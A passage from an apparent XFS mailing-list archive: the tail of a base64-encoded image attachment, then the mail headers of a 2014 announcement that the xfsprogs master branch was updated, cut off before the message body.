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 ------=_NextPart_000_1370_01CF214A.A1B405E0-- From david@fromorbit.com Mon Feb 3 18:47:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 17931800B for ; Mon, 3 Feb 2014 18:47:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DD3B28F8037 for ; Mon, 3 Feb 2014 16:47:28 -0800 (PST) X-ASG-Debug-ID: 1391474846-04bdf01220dfd70001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 3nLiGugt19hr59vx for ; Mon, 03 Feb 2014 16:47:27 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhcUAKU38FJ5LGaB/2dsb2JhbABZgww4gwamAQOQDYZfF3SCZhw7JDQFJQM0iASdT7BxFo8PhCIEmCmSIoE/ggIogS4k Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Feb 2014 11:17:25 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAUAb-0000JY-Ob for xfs@oss.sgi.com; Tue, 04 Feb 2014 11:47:21 +1100 Date: Tue, 4 Feb 2014 11:47:21 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfsprogs: master branch updated to 6e79202 Message-ID: <20140204004721.GY13997@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfsprogs: master branch updated to 6e79202 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391474846 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 